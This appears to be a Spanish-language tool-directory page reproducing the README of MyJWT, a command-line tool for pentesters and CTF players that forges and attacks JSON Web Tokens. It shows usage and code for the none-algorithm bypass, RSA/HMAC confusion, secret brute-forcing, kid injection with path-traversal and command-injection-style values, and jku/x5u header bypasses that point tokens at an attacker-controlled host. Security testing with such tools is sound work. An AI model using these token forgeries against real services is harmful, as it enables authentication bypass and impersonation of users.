Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
MyJWT — Una cli para descifrar y probar vulnerabilidades en Json Web Token(JWT) | Kitploit
Herramientas/GitHubGitHub/tyki6/myjwt
Descifrado de ContraseñasAnálisis de VulnerabilidadesSeguridad WebPruebas de Penetración
GitHubtyki6/myjwt

MyJWT

Una cli para descifrar y probar vulnerabilidades en Json Web Token(JWT)

Ver Repositorio
13819hace 10 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

MyJWT

mBouamama PyPI BlackArch package PyPI - Python Version PyPI - Download GitHub release (latest by date) Documentation Status Rawsec's CyberSecurity Inventory Code style: black codecov docstr_coverage codebeat badge Updates Known Vulnerabilities

Introducción

Esta CLI es para pentesters, jugadores de CTF o desarrolladores.
Puedes modificar tu jwt, firmar, inyectar, etc...
Consulta la Documentación para más información.
Si ves problemas o mejoras, envía un issue. Responderé lo antes posible. ¡Disfruta! :)

Documentación

La documentación está disponible en http://myjwt.readthedocs.io

Tabla de Contenidos

  • Características
  • Instalación
  • Uso
  • Ejemplos
  • Descarga
  • Contribuir
  • Registro de cambios

Características

  • copiar nuevo jwt al portapapeles
  • interfaz de usuario (gracias a questionary)
  • salida en color
  • modificar jwt (encabezado/Payload)
  • Vulnerabilidad None
  • Confusión RSA/HMAC
  • Firmar un jwt con clave
  • Fuerza bruta para adivinar clave
  • Descifrar jwt con regex para adivinar clave
  • inyección kid
  • Bypass Jku
  • Bypass X5u

Instalación

Para instalar myjwt, simplemente usa pip:

root@kitploit:~
pip install myjwt

Para ejecutar myjwt desde una imagen Docker, ejecuta:

root@kitploit:~
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# En Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

Para instalar myjwt desde git:

root@kitploit:~
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

Para instalar myjwt en BlackArch:

root@kitploit:~
pacman -S myjwt

Packaging status

Uso

root@kitploit:~
$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

Modificar JWT

Verificar tu JWT (algoritmo HS)

OpciónTipoEjemploayuda
--signtextmysecretkeyFirma tu jwt con tu clave
--verifytextmysecretkeyVerifica tu clave.

Explotar

Enviar tu jwt

Otros

Ejemplos

  • Modificar tu jwt
  • Verificar vulnerabilidad None
  • Firmar clave
  • Firma por fuerza bruta
  • Confusión RSA/HMAC
  • Inyección Kid
  • Enviar tu nuevo Jwt a una URL
  • Vulnerabilidad Jku
  • Vulnerabilidad X5u

Modificar tu Jwt

CLI

root@kitploit:~
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Código

root@kitploit:~
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Ejemplo completo aquí: 01-modify-jwt

Vulnerabilidad None

CLI

root@kitploit:~
myjwt YOUR_JWT --none-vulnerability

CÓDIGO

root@kitploit:~
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Ejemplo completo aquí: 02-none-vulnerability

Firmar Clave

CLI

root@kitploit:~
myjwt YOUR_JWT --sign YOUR_KEY

CÓDIGO

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Ejemplo completo aquí: 03-sign-key

Fuerza Bruta

CLI

root@kitploit:~
myjwt YOUR_JWT --bruteforce PATH

CÓDIGO

root@kitploit:~
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Ejemplo completo aquí: 04-brute-force

Descifrar

CLI

root@kitploit:~
myjwt YOUR_JWT --crack REGEX

Confusión RSA/HMAC

CLI

root@kitploit:~
myjwt YOUR_JWT --hmac FILE

CÓDIGO

root@kitploit:~
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Ejemplo completo aquí: 05-rsa-hmac-confusion

Inyección Kid

CLI

root@kitploit:~
myjwt YOUR_JWT --kid INJECTION

Código

root@kitploit:~
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Ejemplo completo aquí: 06-kid-injection

Enviar tu nuevo Jwt a una URL

CLI

root@kitploit:~
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Vulnerabilidad Jku

CLI

root@kitploit:~
myjwt YOUR_JWT --jku YOUR_URL

Código

root@kitploit:~
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Ejemplo completo aquí: 07-jku-bypass

Vulnerabilidad X5U

CLI

root@kitploit:~
myjwt YOUR_JWT --x5u YOUR_URL

Código

root@kitploit:~
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Ejemplo completo aquí: 08-x5u-bypass

Descarga

Consulta los lanzamientos de GitHub. La última versión está disponible en https://github.com/mBouamama/MyJWT/releases/latest

Contribuir

  • Haz un fork de este repositorio o clónalo
  • Crea una nueva rama (feature, hotfix, etc...)
  • Realiza los cambios necesarios y confirma esos cambios
  • Verifica el lint con make lint
  • Verifica unit_test con make test
  • Envía un Pull Request Lo revisaré lo antes posible.

Registro de cambios

El registro se ha vuelto bastante extenso. Se ha movido a su propio archivo.

See CHANGES.

Descargar herramienta
OpciónTipoEjemploayuda
--ful-payloadJSON{"user": "admin"}Nuevo payload para tu jwt.
-h, --add-headerkey=valueuser=adminAgrega una nueva clave y valor al encabezado de tu jwt. Si la clave está presente, el valor anterior se reemplazará.
-p, --add-payloadkey=valueuser=adminAgrega una nueva clave y valor al payload de tu jwt. Si la clave está presente, el valor anterior se reemplazará.
OpciónTipoEjemploayuda
-none, --none-vulnerabilityNothingVerificar vulnerabilidad del algoritmo None.
--hmacPATH./public.pemVerificar vulnerabilidad del algoritmo RS/HMAC, y firmar tu jwt con clave pública.
--bruteforcePATH./wordlist/big.txtFuerza bruta para adivinar el secreto usado para firmar el token. Usa un archivo txt con todas las contraseñas almacenadas (una por línea)
--crackREGEX"[a-z]{4}"expresión regular para iterar todas las posibilidades de cadena y adivinar el secreto usado para firmar el token.
--kidtext"00; echo /etc/.passwd"Inyección Kid SQL
--jkutextMYPUBLICIPEncabezado Jku para omitir autenticación. Usa --file si deseas cambiar el nombre de tu archivo jwks, y --key si deseas usar tu propio pem privado
--x5utextMYPUBLICIPPara encabezados jku o x5c, usa --file si deseas cambiar el nombre de tu archivo jwks, y --key si deseas usar tu propio pem privado
OpciónTipoEjemploayuda
-u, --urlurlhttp://challenge01.root-me.org/web-serveur/ch59/adminURL para enviar tu jwt.
-m, --methodtextPOSTMétodo usado para enviar la solicitud a la URL (por defecto GET).
-d, --datakey=valuesecret=MY_JWTDatos enviados a tu URL. Formato: clave=valor. Si el valor es MY_JWT, será reemplazado por tu nuevo jwt.
-c, --cookieskey=valuesecret=MY_JWTCookies para enviar a tu URL. Formato: clave=valor. Si el valor es MY_JWT, será reemplazado por tu nuevo jwt.
OpciónTipoEjemploayuda
--crtPATH./public.crtPara el encabezado x5c, forzar archivo crt
--keyPATH./private.pemPara encabezados jku o x5c, forzar clave privada a tu archivo de clave
--filetextmyfilePara el encabezado jku, forzar nombre de archivo sin extensión .json
--printNothingImprimir JWT decodificado
--helpNothingMostrar mensaje de ayuda y salir.
--versionNothingMostrar versión de Myjwt